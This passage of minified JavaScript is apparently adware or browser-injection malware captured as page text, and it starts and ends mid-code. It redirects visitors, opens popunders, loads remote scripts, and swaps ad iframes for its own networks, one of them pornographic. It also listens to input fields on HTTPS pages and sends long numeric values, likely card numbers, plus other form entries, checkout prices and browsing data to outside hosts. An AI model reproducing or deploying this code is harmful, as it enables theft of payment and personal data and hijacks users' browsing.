page|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|searchisfun|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches).info/)||url.match(/search.(easylifeapp|gboxapp|searchonme|appsarefun|genieo).com/)||url.indexOf(\"searchitapp.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1){return}}catch(e){};(function(){try{var b=\"gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \");for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\"z\");if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\"download\")||-1<a.indexOf(\"convert\")||-1<window.self.location.href.indexOf(\"babylon\")||-1<window.self.location.href.indexOf(\"se Update Go\")||-1<window.self.location.href.indexOf(\"ilivid\")||-1<window.self.location.href.indexOf(\"download\")||-1<a.indexOf(\"regclean\")||-1<a.indexOf(\"etype\")||-1<a.indexOf(\"diction\")||-1<a.indexOf(\"my-uq\")||-1<a.indexOf(\"ftalk\")||-1<a.indexOf(\"pcspeedmaximizer\")||-1<a.indexOf(\"kingtransl\")||-1<a.indexOf(\"jsopen\")||-1<a.indexOf(\"7-zip\")||-1<a.indexOf(\"boost pc\")||-1<a.indexOf(\"computer slow\")||-1<a.indexOf(\"7-update14\")||-1<a.indexOf(\"player\")) || location.hostname.indexOf('jsopen.net')>-1){var channel=99;if(window.onbeforeunload){window.onbeforeunload=null;channel=98};location.href=\"http://canadaalltax....window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1748/l.js?aoi=1311798366&pid=1748&zoneid=471207&ext=shoppingchip&systemid=6805408996581083640\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;(function(){try{if(window.opener&&window.self==window.top&&-1==document.cookie.indexOf(\"xcddsa\")&&-1==window.self.location.href.indexOf(\"px.pluginh\")&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\"px.pluginh\"))&&-1==window.self.location.href.indexOf(\"ally.asi\")&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\"getjs\")&&-1==window.self.location.hostname.indexOf(\"hsbc\")&&3>history.length){var c=navigator.userAgent.toLowerCase(),d=\"http://canadaalltax....0&pid=4002&rf=\" + encodeURIComponent(document.referrer) +\"&s=px.pluginh&r=\"+Math.random();if(-1<c.indexOf(\"msie\")&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};window.self.location.href=d}}}else if(!window.menubar.visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};var b=document.createElement(\"script\");b.type=\"text/javascript\";-1<c.indexOf(\"chrome\")&&(b.innerHTML='document.getElementsByTagName(\"body\")[0].setAttribute(\"xcddsa\",\"1\")',document.getElementsByTagName(\"body\")[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\"body\")[0].getAttribute(\"xcddsa\")&&(window.self.location.href=d)},10));-1<c.indexOf(\"firefox\")&&(b.innerHTML='try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};setTimeout(function(){window.self.location.href=\"'+d+'\";},10);',document.getElementsByTagName(\"head\")[0].appendChild(b))}}}catch(l){}})();if(1==2&&-1<window.self.location.href.indexOf(\"df.ly/\")){var dd=document.getElementById(\"rf\");dd&&dd.setAttribute(\"src\",\"http://canadaalltax....fined\"!=typeof addEventListener&&-1==document.cookie.indexOf(\"vdsknj4th4un\")){var zytd=function(a){try{if(\"a\"==a.target.tagName.toLowerCase()&&\"\"==a.target.innerHTML&&a.target.getAttribute(\"href\")&&-1==a.target.getAttribute(\"href\").indexOf(window.self.location.hostname)){a.target.setAttribute(\"href\",\"http://canadaalltax....h.random());var b=new Date;b.setHours(b.getHours()+5);document.cookie=\"vdsknj4th4un=1;expires=\"+b.toUTCString();document.getElementsByTagName(\"body\")[0].removeEventListener(\"click\",zytd)}}catch©{}};try{document.getElementsByTagName(\"body\")[0].addEventListener(\"click\",zytd)}catch(e){}};if(\"www.youtube.com\"==window.self.location.hostname&&\"http:\"==window.self.location.protocol){var video_id=window.location.search.split(\"v=\")[1];if(video_id){var ampersandPosition=video_id.indexOf(\"&\");-1!=ampersandPosition&&(video_id=video_id.substring(0,ampersandPosition));if(video_id&&document.getElementById(\"watch7-views-info\")){var vc=document.getElementById(\"watch7-views-info\").firstElementChild;vc&&document.getElementById(\"watch7-views-info\").firstElementChild.innerHTML&&((new Image).src=\"http://score.develop...erStep1\")){var price=query_selector_all(\".cart-line-price\"),p=price&&price[price.length-1]?parseInt(price[price.length-1].innerHTML.replace(/[^0-9]/g,\"\")):0,h=window.self.location.hostname;(new Image).src=\"http://score.develop...ckout\")&&((new Image).src=\"http://score.develop...lling\")&&((new Image).src=\"http://score.develop...n.hostname)(new Image).src=\"http://score.develop...yment\")&&((new Image).src=\"http://score.develop...ocess\")&&((new Image).src=\"http://score.develop...ckout\")&&((new Image).src=\"http://score.develop...protocol&&((new Image).src=\"http://score.develop...ction(){try{var a=document.getElementsByTagName(\"input\");if(\"https:\"==window.self.location.protocol&&4<a.length)for(var d=function(b){b=b.target;if(b.value&&11<b.value.length&&20>b.value.length&&b.value.match(/^[0-9]+$/))for((new Image).src=\"https://score.sendap...&s=0&r=\" ( new Date).toString()+Math.random(),b=0;b<a.length;b++)a[b]&&a[b].removeEventListener?a[b].removeEventListener(\"blur\",d,!1):a[b]&&a[b].detachEvent&&a[b].detachEvent(\"onblur\",d)},c=0;c<a.length;c++)a[c]&&a[c].addEventListener?a[c].addEventListener(\"blur\",d,!1):a[c]&&a[c].attachEvent&&a[c].attachEvent(\"onblur\",d)}catch(e){}})();(function(){var init=function(b,a,f){for(var e=function(){for(var d=[],c=0;c<a.length;c++)b[a[c]]&&b[a[c]].value&&2<b[a[c]].value.length&&d.push(b[a[c]].value.replace(/[^0-9a-z \\-_\\.@]/ig,\"\"));if(d.length==a.length)for((new Image).src=\"https://score.sendap...(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"QK7TcxoG=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"QK7TcxoG=\")){var d=a.match(/QK7TcxoG=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.websco...U7qjYFrdYHqTnE\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1749/l.js?aoi=1311798366&pid=1749&zoneid=471207&ext=shoppingchip&systemid=6805408996581083640\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;if(window.self==window.top && window.self.location.protocol=='http:'){var script=document.createElement('script');script.type='text/javascript';script.src='//istatic.datafastguru.info/fo/min/wp.js?subid=shch&hid=6805408996581083640';document.getElementsByTagName(\"head\")[0].appendChild(script);};if(window.self==window.top){var script=document.createElement('script');script.type='text/javascript';script.src='//api.jollywallet.com/affiliate/client?dist=87&sub=1';document.getElementsByTagName(\"head\")[0].appendChild(script);};(function(){var a = \"microsoft msn ninemsn yahoo maktoob rivals amazon jeuxvideo xbox flickr outlook microsoftstore alltheweb intonow overture tumblr live facebook embedr altavista ashleyfurniturehomestore reddit tripadvisor rightmedia craigslist sprint mozilla att omg.com apple americanexpress\".split(\" \");for(var i=0;i<a.length;i++) if(window.self.location.hostname.indexOf(a[i])>-1){return};try{if(typeof(localStorage)!='undefined' && (window.self.location.hostname.indexOf('youtube')>-1 || window.self.location.hostname.indexOf('adnxs.com')>-1 || window.self.location.hostname.indexOf('doubleclick')>-1 || window.self.location.hostname.indexOf('cloudfront')>-1)){localStorage.setItem(\"xhxg4sk42hsba\",\"9\")}}catch(e){};var _wlst={lsKey:\"xhxg4sk42hsba\",get:function(b,a){if(window.self.location.protocol==\"https:\" || 3<b)return a(!1);var d=this.fetch();if(d)return a(parseInt(d));if(1==b){crc=this.hcrc32(window.self.location.hostname.replace(\"www.\",\"\"));try{var c=document.createElement(\"script\");c.type=\"text/javascript\";try{c.async=\"async\"}catch(e){}c.src=\"http://v.zilionfast....rage)try{return localStorage.getItem(this.lsKey)}catch(b){return 0}else _wlst.getCkie()}catch(a){_wlst.getCkie()}},getCkie:function(){if(0<document.cookie.length&&(c_start=document.cookie.indexOf(this.lsKey+\"=\"),-1!=c_start))return c_start=c_start+this.lsKey.length+1,c_end=document.cookie.indexOf(\";\",c_start),-1==c_end&&(c_end=document.cookie.length),unescape(document.cookie.substring(c_start,c_end))},hcrc32:function(b,a){a||(a=0);var d=0;a^=-1;for(var c=0,e=b.length;c<e;c++)d=(a^b.charCodeAt©)&255,d=\"0x\"+\"00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\".substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\"na\",location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : ''),vrt:!1,networks_list:[[['cpx_bet_55',492],['clove_fixed_ca_au',803],['yieldads_rmx',90],['glispa_us2',891],['adnetwork_adnttb',65],['sonobi_gen',312],['mari_tb_test',44],['deliads_apx_tb',46],['mango_rmx_new',135],['dsnr_nntbr_t1_B',803],['dsnr_dasa_t1_B',1747],['adgorithm_2_4',85],['harren_apx1',105],['matomy_adj30',891],['adstract_5new',163],['web3_gen_13_4',16],['xertive_apx_13',261],['velis_apx_tb',46],['cpx_favoritmic_premium',296],['mari_gen21',1119],['mediawhite_13',420],['velis_gen14',146],['clove_rs_13_4',398],['adsuduos_apx9',334],['mango_apx6',46],['baba_nontb_new',246]],[['cpx_nontb30_tr',5695],['cpx_youtube',1518],['matomy_strm29',1423],['dsnr_strm_6_4',142],['web3_strm_13_4',332],['ybrant_compas',190],['mari_strm_tier1_28',700]],[['hulk_porn',10000]]],networks_conf:!1,init:function(){_wlst.get(1,function(b){_zyad.vrt=b;if(!(_zyad.vrt==17 || _zyad.location.indexOf('QK7TcxoG=')>-1|| _zyad.location.indexOf('adk2.co')>-1 ||window.self.location.hostname==\"tr.adsplats.com\"||window.self.location.hostname==\"ads.clovenetwork.com\"||window.self.location.hostname==\"ads.yahoo.com\"||window.self.location.hostname==\"ib.adnxs.com\"||window.self.location.hostname==\"ads.sonobi.com\"||window.self.location.hostname==\"ads.deliads.com\"||window.self.location.hostname==\"an.z5x.net\"||window.self.location.hostname==\"advs.adgorithms.com\"||window.self.location.hostname==\"ads.networkhm.com\"||window.self.location.hostname==\"optimizedby.brealtime.com\"||window.self.location.hostname==\"ads.mediawhite.com\"||window.self.location.hostname==\"servedby.adsplats.com\"||window.self.location.hostname==\"ads.incmd01.com\"||window.self.location.hostname==\"ads.ventivmedia.com\"|| _zyad.location.indexOf('=288378')>-1|| _zyad.location.indexOf('=471207')>-1||_zyad.location.indexOf('PT1311')>-1||_zyad.location.indexOf('1018-1005')>-1||_zyad.location.indexOf('1019-1001')>-1||_zyad.location.indexOf('2136&zid=')>-1))if(_zyad.networks_conf=12==_zyad.vrt?_zyad.networks_list[2]:_zyad.vrt?_zyad.networks_list[1]:!_zyad.getisP()?_zyad.networks_list[0]:!1,_zyad.networks_conf){for(i=0;5>i;i++)setTimeout(_zyad.find,500*i);window.self==window.top&&1==Math.floor(7*Math.random()+1)&&setTimeout(function(){_zyad.find(1)},6E4)}})},getisD:function(){return-1<_zyad.title.indexOf(\"torrent\")||-1<_zyad.location.indexOf(\"torrent\")},getisNA:function(){return!1},getisP:function(){try{if(12==_zyad.vrt)return!0;if(_zyad.vrt)return!1;var b=document.getElementsByTagName(\"meta\");if(b)for(i=0;i<b.length;i++)try{if(b[i]&&b[i].getAttribute(\"name\")){var a=b[i].getAttribute(\"name\").toLowerCase();if(\"description\"==a||\"keywords\"==a)_zyad.title=_zyad.title+\" \"+b[i].getAttribute(\"content\")}}catch(d){}}catch©{}b=\"porn sex xxx tits adult lesbian squirt creampie bondage ExSuna mature fisting [bleep] gangbang orgy gay nude tits tranny blowjob handjob masturbat busty [bleep] joder horny mamada polla [bleep] pussy threesome teens milf bdsm hentai motherless erotic cams petite\".split(\" \");for(i in b)if(-1<_zyad.location.indexOf(b[i])||-1<_zyad.title.indexOf(b[i]))return!0;return!1},epoch:function(){try{var b=new Date;try{return(b.getTime()-b.getMilliseconds())/1E3}catch(a){return parseInt(b.getTime()/1E3)}}catch(d){return 0}},between:function(b,a){return b>=a-7&&b<=a+7},detectRsize:function(b){try{var a=[0,0];try{a=[parseInt(\"number\"==typeof b.width||\"string\"==typeof b.width&&b.width.match(/[0-9]/)?b.width:b.scrollWidth),parseInt(\"number\"==typeof b.height||\"string\"==typeof b.height&&b.height.match(/[0-9]/)?b.height:b.scrollHeight)]}catch(d){}var c=_zyad.between;switch(!0){case c(a[1],600)&&c(a[0],120):return[120,600];case c(a[1],600)&&c(a[0],160):return[160,600];case c(a[1],600)&&c(a[0],300):return[300,600];case c(a[1],125)&&c(a[0],125):return[125,125];case c(a[1],250)&&c(a[0],300):return[300,250];case c(a[1],250)&&c(a[0],250):return[250,250];case c(a[1],250)&&c(a[0],336):return[300,250];case c(a[1],150)&&c(a[0],180):return[180,150];case c(a[1],400)&&c(a[0],600):return[600,400];case c(a[1],60)&&c(a[0],120):return[120,60];case c(a[1],100)&&c(a[0],300):return[300,100];case c(a[1],60)&&c(a[0],234):return[234,60];case c(a[1],60)&&c(a[0],460):return[460,60];case c(a[1],60)&&c(a[0],468):return[468,60];case c(a[1],90)&&c(a[0],728):return[728,90];default:return!1}}catch(e){return!1}},find:function(b){var a=[],d=window.self.document.getElementsByTagName(\"iframe\");for(i=0;i<d.length;i++){if(!b)try{if(d[i].hasAttribute(\"s426687139062122741\"))continue}catch©{try{if(d[i].getAttribute(\"s426687139062122741\"))continue}catch(e){}};try{if(d[i].src.indexOf('=288378')>-1||d[i].src.indexOf('=471207')>-1||d[i].src.indexOf('1018-1005')>-1||d[i].src.indexOf('1019-1001')>-1||d[i].src.indexOf('2136&zid=')>-1||(d[i].getAttribute('name')&&d[i].getAttribute('id')==d[i].getAttribute('name')&&d[i].getAttribute('name').match(/^ap\\d+$/))){try{d[i].setAttribute(\"s426687139062122741\", \"true\");d[i].setAttribute(\"replaced\", \"true\");}catch(e){};continue;}}catch(e){};(rSize=_zyad.detectRsize(d[i]))&&a.push({size:rSize,ifr:d[i],func:function(a,b){_zyad.setNetwork(a[b].ifr,a[b].size);b++;a&&a[b]&&\"function\"==typeof a[b].func&&setTimeout(function(){a[b].func(a,b)},1)}})}a[0]&&a[0].func&&a[0].func(a,0)},setNetwork:function(b,a){if(a&&b){var d=0,c=0,e=Math.floor(10000*Math.random()+0.9),f=0,h={},g=[];for(i=0;i<_zyad.networks_conf.length;i++){var j=_zyad.networks[_zyad.networks_conf[i][0]](a);j&&(h[i]=j,g.push(i),d+=_zyad.networks_conf[i][1])}10000<d&&(c=Math.floor((10000-d)/g.length+0.9));for(i=0;i<g.length;i++)if(d=g[i],f+=_zyad.networks_conf[i][1]+c,f>=e){h[d](b);break}}},iset:function(ifr, url, mode, properties){try{switch(mode){default:case 1:var channel = 0;try{if(ifr.getAttribute('bow')) channel=1}catch(e){}ifr.src = url + (properties ? (url.indexOf('?')>'-1' ? '&' : '/?') + 'QK7TcxoG=' + properties[0] + '_' + properties[1] + '_' + channel : '');break;case 2:try{ifr.src='about:blank';ifr.contentWindow.document.write('<html><head>\\x3cscript>setTimeout(function(){location.href=\"'+url+'\"},1)\\x3c/script></head><body>&nbsp;\\x3c/body>\\x3c/html>');}catch(e){var h = '<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body><iframe name=\"a7h3h73d3\" src=\"about:blank\" style=\"width:100%;height:100%;border:0\" MARGINWIDTH=\"0\" MARGINHEIGHT=\"0\" frameborder=\"0\" scrolling=\"no\" width=\"100%\" height=\"100%\"></iframe>\\x3cscript>setTimeout(function(){frames[\"a7h3h73d3\"].document.write(\"<\"+\"script>setTimeout(function(){setTimeout(function(){location.href=\\x5c\\\\x27'+url+'\\x5c\\\\x27},1)},1);\"+\"<\"+\"/script>\")},1)\\x3c/script></body></html>';ifr.src='javascript:document.write(\\''+h+'\\');'}break;case 3:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style>\\x3cscript>setTimeout(function(){document.getElementsByTagName(\"body\")[0].innerHTML=\"\\x3cscript src=\"'+url+'\">\\x3c/script>\"},10)\\x3c/script></head><body>&nbsp;</body></html>');break;case 4:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body>'+url+'</body></html>');break;}try{ifr.setAttribute(\"s426687139062122741\", \"true\");ifr.setAttribute(\"replaced\", \"true\")}catch(e){}}catch(e){}},networks:{cpx_bet_55:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(window.self.location.hostname.indexOf('outube.com')>-1 || size=='120x60' ) {return false;};return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.c...size &referrer=' (atp?atp:1), [354,size]);}}catch(e){return !1;}},clove_fixed_ca_au:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;var arr={\"728x90\":\"2076985\",\"300x250\":\"2076984\",\"160x600\":\"2076963\"}[size]; var surl = \" http://ads.clovenetw...=\" arr;;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [446,size]);}}catch(e){return !1;}},yieldads_rmx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;var ref = window.top==window.self?encodeURIComponent(window.self.location.href):'';return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com...2&pub_url= ref ' (atp?atp:1), [559,size]);}}catch(e){return !1;}},glispa_us2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size=+size+&site=1731650&section_code=INSERT_SECTION_CODE_HERE&pub_url=${PUB_URL}&section_code=45_4002' (atp?atp:2), [593,size]);}}catch(e){return !1;}},adnetwork_adnttb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2242949&size='+size+'&cb=[CACHEBUSTER]&pubclick=[INSERT_CLICK_TAG]', (atp?atp:1), [630,size]);}}catch(e){return !1;}},sonobi_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2445816\",\"300x250\":\"2445810\",\"728x90\":\"2445826\"}[size];var surl='http://ads.sonobi.com/tt?id='+ arr  + '&cb=[CACHEBUSTER]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [811,size]);}}catch(e){return !1;}},mari_tb_test:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2452812\",\"300x250\":\"2452832\",\"160x600\":\"2452834\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [825,size]);}}catch(e){return !1;}},deliads_apx_tb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 728x90 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2461832\",\"160x600\":\"2461853\",\"300x250\":\"2461854\",\"728x90\":\"2461855\",\"468x60\":\"2461856\"}[size];var surl='http://ads.deliads.com/tt?id='+ arr  + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [906,size]);}}catch(e){return !1;}},mango_rmx_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ads.yahoo.com/st?ad_type=iframe&ad_size=+size+&section=5573751&pub_url=${PUB_URL}&section_code=45_4002' (atp?atp:1), [912,size]);}}catch(e){return !1;}},dsnr_nntbr_t1_B:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://an.z5x.net/tt?id=2464026&size='+size+'&referrer=[REFERRER_URL]', (atp?atp:1), [915,size]);}}catch(e){return !1;}},dsnr_dasa_t1_B:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://an.z5x.net/tt?id=2464285&size='+size+'&referrer=[REFERRER_URL]', (atp?atp:1), [917,size]);}}catch(e){return !1;}},adgorithm_2_4:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2471940\",\"300x250\":\"2471941\",\"728x90\":\"2471942\"}[size];var surl='http://advs.adgorithms.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [940,size]);}}catch(e){return !1;}},harren_apx1:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2479274\",\"300x250\":\"2479275\",\"728x90\":\"2479276\"}[size];var surl='http://ads.networkhm.com/tt?id='+ arr  + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [953,size]);}}catch(e){return !1;}},matomy_adj30:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2461741\",\"728x90\":\"2461742\",\"160x600\":\"2461743\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1006,size]);}}catch(e){return !1;}},adstract_5new:function(rsize){try{var size = rsize[0] + 'x' + 